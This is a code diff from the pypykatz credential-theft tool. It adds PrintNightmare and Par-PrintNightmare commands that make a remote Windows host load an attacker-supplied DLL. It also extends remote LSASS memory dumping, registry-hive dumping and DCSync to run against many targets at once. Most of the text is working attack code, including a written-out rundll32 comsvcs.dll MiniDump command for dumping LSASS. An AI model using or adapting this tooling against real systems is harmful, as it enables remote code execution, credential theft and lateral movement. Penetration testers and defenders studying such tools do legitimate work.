220 | live_parprintnightmare_group = live_smb_subparsers.add_parser('parprintnightmare', help='par printnightmare') | |
221 | live_parprintnightmare_group.add_argument('host', help='Target host to connect to') | |
222 | live_parprintnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine') | |
223 | live_parprintnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!') | |
224 | live_parprintnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
160 | 225 | |
161 | 226 | live_group = live_parser.add_parser('smb', help='SMB (live) commands', epilog=smb_live_epilog, parents=[live_subcommand_parser]) |
162 | 227 | |
174 | 239 | raise Exception('Live commands only work on Windows!') |
175 | 240 | |
176 | 241 | from aiosmb import logger as smblog |
242 | from winacl.functions.highlevel import get_logon_info | |
243 | ||
244 | info = get_logon_info() | |
245 | if args.livesmbcommand != 'shareenum': | |
246 | smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host) | |
177 | 247 | |
178 | 248 | if args.verbose == 0: |
179 | 249 | smblog.setLevel(100) |
183 | 253 | level = 5 - args.verbose |
184 | 254 | smblog.setLevel(level=level) |
185 | 255 | |
186 | if args.livesmbcommand == 'console': | |
256 | if args.livesmbcommand == 'client': | |
187 | 257 | from aiosmb.examples.smbclient import amain |
188 | from winacl.functions.highlevel import get_logon_info | |
189 | info = get_logon_info() | |
258 | ||
259 | ||
190 | 260 | la = SMBCMDArgs() |
191 | la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host) | |
261 | la.smb_url = smb_url | |
192 | 262 | la.verbose = args.verbose |
193 | 263 | |
194 | 264 | if args.commands is not None and len(args.commands) > 0: |
203 | 273 | la.commands.append(command) |
204 | 274 | |
205 | 275 | await amain(la) |
276 | ||
277 | ||
278 | elif args.livesmbcommand == 'lsassdump': | |
279 | from pypykatz.smb.lsassutils import lsassdump | |
280 | tmimis = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages, method = args.method) | |
281 | for tid, mimi, err in tmimis: | |
282 | if err is not None: | |
283 | print('ERROR: %s' % err) | |
284 | self.process_results({'smbfile':mimi}, [], args) | |
285 | ||
286 | elif args.livesmbcommand == 'secretsdump': | |
287 | from pypykatz.smb.lsassutils import lsassdump | |
288 | from pypykatz.smb.regutils import regdump | |
289 | from pypykatz.smb.dcsync import dcsync | |
290 | ||
291 | try: | |
292 | mimi = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages) | |
293 | if mimi is not None: | |
294 | self.process_results({'smbfile':mimi}, [], args, file_prefix='_lsass.txt') | |
295 | except Exception as e: | |
296 | logging.exception('[SECRETSDUMP] Failed to get LSASS secrets') | |
297 | ||
298 | try: | |
299 | po = await regdump(smb_url) | |
300 | if po is not None: | |
301 | if args.outfile: | |
302 | po.to_file(args.outfile+'_registry.txt', args.json) | |
303 | else: | |
304 | if args.json: | |
305 | print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) | |
306 | else: | |
307 | print(str(po)) | |
308 | except Exception as e: | |
309 | logging.exception('[SECRETSDUMP] Failed to get registry secrets') | |
310 | ||
311 | ||
312 | try: | |
313 | if args.outfile is not None: | |
314 | outfile = open(args.outfile+'_dcsync.txt', 'w', newline = '') | |
315 | ||
316 | async for secret in dcsync(smb_url): | |
317 | if args.outfile is not None: | |
318 | outfile.write(str(secret)) | |
319 | else: | |
320 | print(str(secret)) | |
321 | ||
322 | except Exception as e: | |
323 | logging.exception('[SECRETSDUMP] Failed to perform DCSYNC') | |
324 | finally: | |
325 | if args.outfile is not None: | |
326 | outfile.close() | |
327 | ||
328 | elif args.livesmbcommand == 'dcsync': | |
329 | from pypykatz.smb.dcsync import dcsync | |
330 | ||
331 | if args.outfile is not None: | |
332 | outfile = open(args.outfile, 'w', newline = '') | |
333 | ||
334 | async for secret in dcsync(smb_url, args.username): | |
335 | if args.outfile is not None: | |
336 | outfile.write(str(secret)) | |
337 | else: | |
338 | print(str(secret)) | |
339 | ||
340 | if args.outfile is not None: | |
341 | outfile.close() | |
342 | ||
343 | elif args.livesmbcommand == 'regdump': | |
344 | from pypykatz.smb.regutils import regdump | |
345 | po = await regdump(smb_url) | |
346 | ||
347 | if po is not None: | |
348 | if args.outfile: | |
349 | po.to_file(args.outfile, args.json) | |
350 | else: | |
351 | if args.json: | |
352 | print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) | |
353 | else: | |
354 | print(str(po)) | |
355 | ||
356 | elif args.livesmbcommand == 'parprintnightmare': | |
357 | from pypykatz.smb.printer import parprintnightmare | |
358 | _, err = await parprintnightmare(smb_url, args.dllpath) | |
359 | if err is not None: | |
360 | print('Parprintnightmare failed! %s' % err) | |
361 | return | |
362 | print('Parprintnightmare OK!') | |
363 | ||
364 | elif args.livesmbcommand == 'printnightmare': | |
365 | from pypykatz.smb.printer import printnightmare | |
366 | _, err = await printnightmare(smb_url, args.dllpath) | |
367 | if err is not None: | |
368 | print('Printnightmare failed! %s' % err) | |
369 | return | |
370 | print('Printnightmare OK!') | |
206 | 371 | |
207 | 372 | elif args.livesmbcommand == 'shareenum': |
208 | 373 | from pypykatz.smb.shareenum import shareenum |
269 | 434 | |
270 | 435 | elif args.smb_module == 'lsassdump': |
271 | 436 | from pypykatz.smb.lsassutils import lsassdump |
272 | mimi = await lsassdump(args.url, chunksize=args.chunksize, packages=args.packages) | |
273 | self.process_results({'smbfile':mimi}, [], args) | |
437 | async for tid, mimi, err in lsassdump( | |
438 | args.url, | |
439 | chunksize=args.chunksize, | |
440 | packages=args.packages, | |
441 | method = args.method, | |
442 | targets = args.target, | |
443 | worker_cnt = args.worker_count | |
444 | ): | |
445 | if err is not None: | |
446 | continue | |
447 | self.process_results({tid:mimi}, [], args) | |
274 | 448 | |
275 | 449 | elif args.smb_module == 'secretsdump': |
276 | 450 | from pypykatz.smb.lsassutils import lsassdump |
331 | 505 | |
332 | 506 | elif args.smb_module == 'regdump': |
333 | 507 | from pypykatz.smb.regutils import regdump |
334 | po = await regdump(args.url) | |
335 | ||
336 | if po is not None: | |
337 | if args.outfile: | |
338 | po.to_file(args.outfile, args.json) | |
339 | else: | |
340 | if args.json: | |
341 | print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) | |
342 | else: | |
343 | print(str(po)) | |
508 | async for tid, po, err in regdump(args.url, targets=args.target, worker_cnt = args.worker_count): | |
509 | if err is not None: | |
510 | if args.outfile: | |
511 | with open(args.outfile, 'a') as f: | |
512 | f.write('[%s][ERROR]%s' % (tid, str(err))) | |
513 | else: | |
514 | print('[%s][ERROR]%s' % (tid, str(err))) | |
515 | ||
516 | continue | |
517 | ||
518 | if po is not None: | |
519 | if args.outfile: | |
520 | po.to_file(args.outfile, args.json) | |
521 | else: | |
522 | if args.json: | |
523 | print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) | |
524 | else: | |
525 | buffer = '' | |
526 | for line in str(po).split('\n'): | |
527 | buffer += '[%s] ' % tid | |
528 | buffer += line + '\r\n' | |
529 | print(buffer) | |
344 | 530 | |
345 | 531 | elif args.smb_module == 'regfile': |
346 | 532 | from pypykatz.smb.regutils import regfile |
388 | 574 | max_items = args.maxitems, |
389 | 575 | dirsd = args.dirsd, |
390 | 576 | filesd = args.filesd, |
391 | authmethod = args.authmethod, | |
392 | protocol_version = args.protocol_version, | |
393 | 577 | output_type = output_type, |
394 | 578 | max_runtime = args.max_runtime, |
395 | 579 | exclude_share = exclude_share, |
399 | 583 | ) |
400 | 584 | |
401 | 585 | |
402 | elif args.smb_module == 'console': | |
586 | elif args.smb_module == 'client': | |
403 | 587 | from aiosmb.examples.smbclient import amain |
404 | 588 | la = SMBCMDArgs() |
405 | 589 | la.smb_url = args.url |
416 | 600 | la.commands.append(command) |
417 | 601 | |
418 | 602 | await amain(la) |
603 | ||
604 | elif args.smb_module == 'printnightmare': | |
605 | from pypykatz.smb.printer import printnightmare | |
606 | _, err = await printnightmare(args.url, args.dllpath) | |
607 | if err is not None: | |
608 | print('Printnightmare failed! %s' % err) | |
609 | return | |
610 | print('Printnightmare OK!') | |
611 | ||
612 | elif args.smb_module == 'parprintnightmare': | |
613 | from pypykatz.smb.printer import parprintnightmare | |
614 | _, err = await parprintnightmare(args.url, args.dllpath) | |
615 | if err is not None: | |
616 | print('Parprintnightmare failed! %s' % err) | |
617 | return | |
618 | print('Parprintnightmare OK!') | |
419 | 619 | |
420 | 620 | def process_results(self, results, files_with_error, args, file_prefix = ''): |
421 | 621 | if args.outfile and args.json: |
422 | with open(args.outfile+file_prefix, 'w') as f: | |
622 | with open(args.outfile+file_prefix, 'a') as f: | |
423 | 623 | json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True) |
424 | 624 | |
425 | 625 | elif args.outfile and args.grep: |
426 | with open(args.outfile+file_prefix, 'w', newline = '') as f: | |
427 | f.write(':'.join(LogonSession.grep_header) + '\r\n') | |
626 | with open(args.outfile+file_prefix, 'a', newline = '') as f: | |
627 | f.write(':'.join(['target'] + LogonSession.grep_header) + '\r\n') | |
428 | 628 | for result in results: |
429 | 629 | for luid in results[result].logon_sessions: |
430 | 630 | for row in results[result].logon_sessions[luid].to_grep_rows(): |
431 | f.write(':'.join(row) + '\r\n') | |
631 | f.write(':'.join([result] + row) + '\r\n') | |
432 | 632 | |
433 | 633 | elif args.outfile: |
434 | with open(args.outfile+file_prefix, 'w') as f: | |
634 | with open(args.outfile+file_prefix, 'a') as f: | |
435 | 635 | for result in results: |
436 | 636 | f.write('FILE: ======== %s =======\n' % result) |
437 | 637 | |
452 | 652 | print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True)) |
453 | 653 | |
454 | 654 | elif args.grep: |
455 | print(':'.join(LogonSession.grep_header)) | |
655 | print(':'.join(['target'] + LogonSession.grep_header)) | |
456 | 656 | for result in results: |
457 | 657 | for luid in results[result].logon_sessions: |
458 | 658 | for row in results[result].logon_sessions[luid].to_grep_rows(): |
459 | print(':'.join(row)) | |
659 | print(':'.join([result] + row)) | |
460 | 660 | for cred in results[result].orphaned_creds: |
461 | 661 | t = cred.to_dict() |
462 | 662 | if t['credtype'] != 'dpapi': |
463 | 663 | if t['password'] is not None: |
464 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
664 | x = [result , str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
465 | 665 | print(':'.join(x)) |
466 | 666 | else: |
467 | 667 | t = cred.to_dict() |
468 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] | |
668 | x = [result, str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] | |
469 | 669 | print(':'.join(x)) |
470 | 670 | |
471 | 671 | for pkg, err in results[result].errors: |
472 | 672 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) |
473 | 673 | err_str = base64.b64encode(err_str.encode()).decode() |
474 | x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] | |
674 | x = [result + pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] | |
475 | 675 | print(':'.join(x) + '\r\n') |
476 | 676 | else: |
477 | 677 | for result in results: |
0 | 0 | import asyncio |
1 | 1 | import os |
2 | import itertools | |
3 | ||
4 | from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen | |
5 | ||
6 | def natatime(n, iterable, fillvalue = None): | |
7 | """Returns an iterator yielding `n` elements at a time. | |
8 | :param n: the number of elements to return at each iteration | |
9 | :param iterable: the iterable over which to iterate | |
10 | :param fillvalue: the value to use for missing elements | |
11 | :Example: | |
12 | >>> for (a,b,c) in natatime(3, [1,2,3,4,5], fillvalue = "?"): | |
13 | ... print a, b, c | |
14 | ... | |
15 | 1 2 3 | |
16 | 4 5 ? | |
17 | """ | |
18 | stepped_slices = ( itertools.islice(iterable, i, None, n) for i in range(n) ) | |
19 | return itertools.zip_longest(*stepped_slices, fillvalue = fillvalue) | |
20 | ||
2 | 21 | |
3 | 22 | from pypykatz import logging |
4 | 23 | |
29 | 48 | logging.debug('[LSASSFILE] LSASS file parsed OK!') |
30 | 49 | return mimi |
31 | 50 | |
32 | async def lsassdump(url, method = 'taskexec', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all']): | |
33 | from aiosmb.commons.exceptions import SMBException | |
34 | from aiosmb.wintypes.ntstatus import NTStatus | |
51 | async def lsassdump(url, method = 'task', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all'], targets = [], worker_cnt = 5): | |
35 | 52 | from aiosmb.commons.connection.url import SMBConnectionURL |
36 | from aiosmb.commons.interfaces.machine import SMBMachine | |
37 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
38 | from aiosmb.commons.interfaces.file import SMBFile | |
39 | from pypykatz.apypykatz import apypykatz | |
40 | ||
41 | smburl = SMBConnectionURL(url) | |
42 | connection = smburl.get_connection() | |
43 | ||
44 | if remote_base_path.endswith('\\') is False: | |
45 | remote_base_path += '\\' | |
46 | ||
47 | if remote_share_name.endswith('\\') is False: | |
48 | remote_share_name += '\\' | |
49 | ||
50 | fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex()) | |
51 | filepath = remote_base_path + fname | |
52 | filesharepath = remote_share_name + fname | |
53 | 53 | |
54 | if method == 'taskexec': | |
55 | cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(filepath) | |
56 | commands = [cmd] | |
54 | base_url = None | |
55 | base_conn = None | |
56 | mimis = [] | |
57 | workers = [] | |
58 | ||
59 | tgens = [] | |
60 | if targets is not None and len(targets) != 0: | |
61 | notfile = [] | |
62 | if targets is not None: | |
63 | for target in targets: | |
64 | try: | |
65 | f = open(target, 'r') | |
66 | f.close() | |
67 | tgens.append(FileTargetGen(target)) | |
68 | except: | |
69 | notfile.append(target) | |
70 | ||
71 | if len(notfile) > 0: | |
72 | tgens.append(ListTargetGen(notfile)) | |
73 | ||
74 | if isinstance(url, SMBConnectionURL): | |
75 | base_url = url | |
76 | base_conn = url.get_connection() | |
77 | else: | |
78 | base_url = SMBConnectionURL(url) | |
79 | base_conn = base_url.get_connection() | |
57 | 80 | |
58 | else: | |
59 | raise Exception('Unknown execution method %s' % method) | |
60 | ||
61 | mimi = None | |
62 | async with connection: | |
63 | logging.debug('[LSASSDUMP] Connecting to server...') | |
64 | _, err = await connection.login() | |
65 | if err is not None: | |
66 | raise err | |
67 | logging.debug('[LSASSDUMP] Connected!') | |
68 | async with SMBMachine(connection) as machine: | |
69 | if method == 'taskexec': | |
70 | logging.debug('[LSASSDUMP] Start dumping LSASS with taskexec method!') | |
71 | logging.info('[LSASSDUMP] File location: %s' % filepath) | |
72 | _, err = await machine.tasks_execute_commands(commands) | |
73 | if err is not None: | |
74 | raise err | |
81 | lsassdump_coro = lsassdump_single( | |
82 | base_conn.target.get_hostname_or_ip(), | |
83 | base_conn, | |
84 | method = method, | |
85 | remote_base_path = remote_base_path, | |
86 | remote_share_name = remote_share_name, | |
87 | chunksize = chunksize, | |
88 | packages = packages | |
89 | ) | |
90 | workers.append(lsassdump_coro) | |
91 | ||
92 | for tgen in tgens: | |
93 | async for _, target, err in tgen.generate(): | |
94 | tconn = base_url.create_connection_newtarget(target) | |
95 | lsassdump_coro = lsassdump_single( | |
96 | tconn.target.get_hostname_or_ip(), | |
97 | tconn, | |
98 | method = method, | |
99 | remote_base_path = remote_base_path, | |
100 | remote_share_name = remote_share_name, | |
101 | chunksize = chunksize, | |
102 | packages = packages | |
103 | ) | |
104 | workers.append(lsassdump_coro) | |
105 | if len(workers) >= worker_cnt: | |
106 | tres = await asyncio.gather(*workers) | |
107 | for res in tres: | |
108 | yield res | |
109 | workers = [] | |
110 | ||
111 | if len(workers) > 0: | |
112 | tres = await asyncio.gather(*workers) | |
113 | for res in tres: | |
114 | yield res | |
115 | workers = [] | |
116 | ||
117 | ||
118 | async def lsassdump_single(targetid, connection, method = 'task', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all']): | |
119 | try: | |
120 | from aiosmb.commons.exceptions import SMBException | |
121 | from aiosmb.wintypes.ntstatus import NTStatus | |
122 | from aiosmb.commons.interfaces.machine import SMBMachine | |
123 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
124 | from aiosmb.commons.interfaces.file import SMBFile | |
125 | from pypykatz.apypykatz import apypykatz | |
126 | ||
127 | if remote_base_path.endswith('\\') is False: | |
128 | remote_base_path += '\\' | |
129 | ||
130 | if remote_share_name.endswith('\\') is False: | |
131 | remote_share_name += '\\' | |
132 | ||
133 | fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex()) | |
134 | filepath = remote_base_path + fname | |
135 | filesharepath = remote_share_name + fname | |
136 | ||
137 | if method == 'task': | |
138 | cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(filepath) | |
139 | commands = [cmd] | |
140 | ||
141 | elif method == 'service': | |
142 | cmd = '' | |
143 | ||
144 | else: | |
145 | raise Exception('Unknown execution method %s' % method) | |
146 | ||
147 | mimi = None | |
148 | async with connection: | |
149 | logging.debug('[LSASSDUMP][%s] Connecting to server...' % targetid) | |
150 | _, err = await connection.login() | |
151 | if err is not None: | |
152 | raise err | |
153 | logging.debug('[LSASSDUMP][%s] Connected!' % targetid) | |
154 | async with SMBMachine(connection) as machine: | |
155 | if method == 'task': | |
156 | logging.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid) | |
157 | smbfile_inner, err = await machine.task_dump_lsass() | |
158 | ||
159 | if err is not None: | |
160 | raise err | |
161 | ||
162 | smbfile = SMBFileReader(smbfile_inner) | |
163 | ||
164 | #logging.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid) | |
165 | #logging.info('[LSASSDUMP][%s] File location: %s' % (targetid,filepath)) | |
166 | #_, err = await machine.tasks_execute_commands(commands) | |
167 | #if err is not None: | |
168 | # raise err | |
169 | # | |
170 | #logging.debug('[LSASSDUMP][%s] Opening LSASS dump file...' % targetid) | |
171 | #for _ in range(5): | |
172 | # logging.debug('[LSASSDUMP][%s] Sleeping a bit to let the remote host finish dumping' % targetid) | |
173 | # await asyncio.sleep(5) | |
174 | # smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath)) | |
175 | # _, err = await smbfile.open(connection) | |
176 | # if err is not None: | |
177 | # if isinstance(err, SMBException): | |
178 | # if err.ntstatus == NTStatus.SHARING_VIOLATION: | |
179 | # logging.debug('[LSASSDUMP][%s] LSASS dump is not yet ready, retrying...' % targetid) | |
180 | # #await asyncio.sleep(1) | |
181 | # continue | |
182 | # raise err | |
183 | # break | |
184 | #else: | |
185 | # raise err | |
75 | 186 | |
76 | logging.debug('[LSASSDUMP] Sleeping a bit to let the remote host finish dumping') | |
77 | await asyncio.sleep(10) | |
187 | ||
188 | ||
189 | elif method == 'service': | |
190 | logging.debug('[LSASSDUMP][%s] Start dumping LSASS with serviceexec method!' % targetid) | |
191 | smbfile_inner, err = await machine.service_dump_lsass() | |
192 | ||
193 | if err is not None: | |
194 | raise err | |
195 | smbfile = SMBFileReader(smbfile_inner) | |
196 | ||
197 | else: | |
198 | raise Exception('Unknown execution method %s' % method) | |
78 | 199 | |
200 | logging.debug('[LSASSDUMP][%s] LSASS dump file opened!' % targetid) | |
201 | logging.debug('[LSASSDUMP][%s] parsing LSASS dump file on the remote host...' % targetid) | |
202 | mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages = packages) | |
203 | ||
204 | logging.debug('[LSASSDUMP][%s] parsing OK!' % targetid) | |
205 | logging.debug('[LSASSDUMP][%s] Deleting remote dump file...' % targetid) | |
206 | _, err = await smbfile.delete() | |
207 | if err is not None: | |
208 | print('[%s] Failed to delete LSASS file! Reason: %s' % (targetid, err)) | |
79 | 209 | else: |
80 | raise Exception('Unknown execution method %s' % method) | |
81 | ||
82 | logging.debug('[LSASSDUMP] Opening LSASS dump file...') | |
83 | for _ in range(3): | |
84 | smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath)) | |
85 | _, err = await smbfile.open(connection) | |
86 | if err is not None: | |
87 | if isinstance(err, SMBException): | |
88 | if err.ntstatus == NTStatus.SHARING_VIOLATION: | |
89 | logging.debug('[LSASSDUMP] LSASS dump is not yet ready, retrying...') | |
90 | await asyncio.sleep(1) | |
91 | continue | |
92 | raise err | |
93 | break | |
94 | else: | |
95 | raise err | |
96 | ||
97 | logging.debug('[LSASSDUMP] LSASS dump file opened!') | |
98 | logging.debug('[LSASSDUMP] parsing LSASS dump file on the remote host...') | |
99 | mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages = packages) | |
100 | ||
101 | logging.debug('[LSASSDUMP] parsing OK!') | |
102 | logging.debug('[LSASSDUMP] Deleting remote dump file...') | |
103 | _, err = await smbfile.delete() | |
104 | if err is not None: | |
105 | logging.info('[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err) | |
106 | else: | |
107 | logging.info('[LSASSDUMP] remote LSASS file deleted OK!') | |
210 | print('[%s] Remote LSASS file deleted OK!' % targetid) | |
108 | 211 | |
109 | return mimi⏎ | |
212 | return targetid, mimi, None | |
213 | except Exception as e: | |
214 | import traceback | |
215 | traceback.print_exc() | |
216 | return targetid, None, e⏎ |
0 | import asyncio | |
1 | import os | |
2 | ||
3 | from pypykatz import logging | |
4 | ||
5 | async def printnightmare(url, dll_path, driverpath = None): | |
6 | try: | |
7 | from aiosmb.commons.connection.url import SMBConnectionURL | |
8 | from aiosmb.commons.interfaces.machine import SMBMachine | |
9 | ||
10 | smburl = SMBConnectionURL(url) | |
11 | connection = smburl.get_connection() | |
12 | ||
13 | async with connection: | |
14 | logging.debug('[PRINTNIGHTMARE] Connecting to server...') | |
15 | _, err = await connection.login() | |
16 | if err is not None: | |
17 | raise err | |
18 | ||
19 | machine = SMBMachine(connection) | |
20 | logging.debug('[PRINTNIGHTMARE] Connected!') | |
21 | logging.debug('[PRINTNIGHTMARE] Triggering printnightmare...') | |
22 | _, err = await machine.printnightmare(dll_path, driverpath) | |
23 | if err is not None: | |
24 | raise err | |
25 | logging.debug('[PRINTNIGHTMARE] Printnightmare finished OK!') | |
26 | return True, None | |
27 | except Exception as e: | |
28 | import traceback | |
29 | traceback.print_exc() | |
30 | return None, e | |
31 | ||
32 | async def parprintnightmare(url, dll_path, driverpath = None): | |
33 | try: | |
34 | from aiosmb.commons.connection.url import SMBConnectionURL | |
35 | from aiosmb.commons.interfaces.machine import SMBMachine | |
36 | ||
37 | smburl = SMBConnectionURL(url) | |
38 | connection = smburl.get_connection() | |
39 | ||
40 | async with connection: | |
41 | logging.debug('[PARPRINTNIGHTMARE] Connecting to server...') | |
42 | _, err = await connection.login() | |
43 | if err is not None: | |
44 | raise err | |
45 | ||
46 | machine = SMBMachine(connection) | |
47 | logging.debug('[PARPRINTNIGHTMARE] Connected!') | |
48 | logging.debug('[PARPRINTNIGHTMARE] Triggering parprintnightmare...') | |
49 | _, err = await machine.par_printnightmare(dll_path, driverpath) | |
50 | if err is not None: | |
51 | raise err | |
52 | logging.debug('[PARPRINTNIGHTMARE] Parprintnightmare finished OK!') | |
53 | return True, None | |
54 | except Exception as e: | |
55 | import traceback | |
56 | traceback.print_exc() | |
57 | return None, e⏎ |
2 | 2 | import os |
3 | 3 | |
4 | 4 | from pypykatz import logging |
5 | ||
6 | async def regdump(url, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3): | |
5 | from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen | |
6 | ||
7 | ||
8 | async def regdump(url, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3, targets = [], worker_cnt = 5): | |
7 | 9 | from aiosmb.commons.connection.url import SMBConnectionURL |
8 | from aiosmb.commons.interfaces.machine import SMBMachine | |
9 | from aiosmb.commons.interfaces.file import SMBFile | |
10 | from aiosmb.dcerpc.v5.common.service import SMBServiceStatus | |
11 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
12 | from pypykatz.registry.aoffline_parser import OffineRegistry | |
13 | ||
14 | 10 | |
15 | ||
16 | smburl = SMBConnectionURL(url) | |
17 | connection = smburl.get_connection() | |
18 | if remote_base_path.endswith('\\') is False: | |
19 | remote_base_path += '\\' | |
20 | ||
21 | if remote_share_name.endswith('\\') is False: | |
22 | remote_share_name += '\\' | |
23 | ||
24 | po = None | |
25 | ||
26 | async with connection: | |
27 | logging.debug('[REGDUMP] Connecting to server...') | |
28 | _, err = await connection.login() | |
29 | if err is not None: | |
30 | raise err | |
31 | ||
32 | logging.debug('[REGDUMP] Connected to server!') | |
33 | async with SMBMachine(connection) as machine: | |
34 | logging.debug('[REGDUMP] Checking remote registry service status...') | |
35 | status, err = await machine.check_service_status('RemoteRegistry') | |
36 | if err is not None: | |
37 | raise err | |
38 | ||
39 | logging.debug('[REGDUMP] Remote registry service status: %s' % status.name) | |
40 | if status != SMBServiceStatus.RUNNING: | |
41 | logging.debug('[REGDUMP] Enabling Remote registry service') | |
42 | _, err = await machine.enable_service('RemoteRegistry') | |
11 | base_url = None | |
12 | base_conn = None | |
13 | mimis = [] | |
14 | workers = [] | |
15 | ||
16 | tgens = [] | |
17 | if targets is not None and len(targets) != 0: | |
18 | notfile = [] | |
19 | if targets is not None: | |
20 | for target in targets: | |
21 | try: | |
22 | f = open(target, 'r') | |
23 | f.close() | |
24 | tgens.append(FileTargetGen(target)) | |
25 | except: | |
26 | notfile.append(target) | |
27 | ||
28 | if len(notfile) > 0: | |
29 | tgens.append(ListTargetGen(notfile)) | |
30 | ||
31 | if isinstance(url, SMBConnectionURL): | |
32 | base_url = url | |
33 | base_conn = url.get_connection() | |
34 | else: | |
35 | base_url = SMBConnectionURL(url) | |
36 | base_conn = base_url.get_connection() | |
37 | ||
38 | regdump_coro = regdump_single( | |
39 | base_conn.target.get_hostname_or_ip(), | |
40 | base_conn, | |
41 | hives = hives, | |
42 | remote_base_path = remote_base_path, | |
43 | remote_share_name = remote_share_name, | |
44 | enable_wait = enable_wait | |
45 | ) | |
46 | workers.append(regdump_coro) | |
47 | ||
48 | for tgen in tgens: | |
49 | async for _, target, err in tgen.generate(): | |
50 | tconn = base_url.create_connection_newtarget(target) | |
51 | regdump_coro = regdump_single( | |
52 | tconn.target.get_hostname_or_ip(), | |
53 | tconn, | |
54 | hives = hives, | |
55 | remote_base_path = remote_base_path, | |
56 | remote_share_name = remote_share_name, | |
57 | enable_wait = enable_wait | |
58 | ) | |
59 | workers.append(regdump_coro) | |
60 | if len(workers) >= worker_cnt: | |
61 | tres = await asyncio.gather(*workers) | |
62 | for res in tres: | |
63 | yield res | |
64 | workers = [] | |
65 | ||
66 | if len(workers) > 0: | |
67 | tres = await asyncio.gather(*workers) | |
68 | for res in tres: | |
69 | yield res | |
70 | workers = [] | |
71 | ||
72 | ||
73 | async def regdump_single(targetid, connection, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3): | |
74 | try: | |
75 | from aiosmb.commons.interfaces.machine import SMBMachine | |
76 | from aiosmb.commons.interfaces.file import SMBFile | |
77 | from aiosmb.dcerpc.v5.common.service import SMBServiceStatus | |
78 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
79 | from pypykatz.registry.aoffline_parser import OffineRegistry | |
80 | ||
81 | ||
82 | if remote_base_path.endswith('\\') is False: | |
83 | remote_base_path += '\\' | |
84 | ||
85 | if remote_share_name.endswith('\\') is False: | |
86 | remote_share_name += '\\' | |
87 | ||
88 | po = None | |
89 | ||
90 | async with connection: | |
91 | logging.debug('[REGDUMP] Connecting to server...') | |
92 | _, err = await connection.login() | |
93 | if err is not None: | |
94 | raise err | |
95 | ||
96 | logging.debug('[REGDUMP] Connected to server!') | |
97 | async with SMBMachine(connection) as machine: | |
98 | logging.debug('[REGDUMP] Checking remote registry service status...') | |
99 | status, err = await machine.check_service_status('RemoteRegistry') | |
43 | 100 | if err is not None: |
44 | 101 | raise err |
45 | logging.debug('[REGDUMP] Starting Remote registry service') | |
46 | _, err = await machine.start_service('RemoteRegistry') | |
47 | if err is not None: | |
48 | raise err | |
49 | ||
50 | await asyncio.sleep(enable_wait) | |
51 | ||
52 | ||
53 | ||
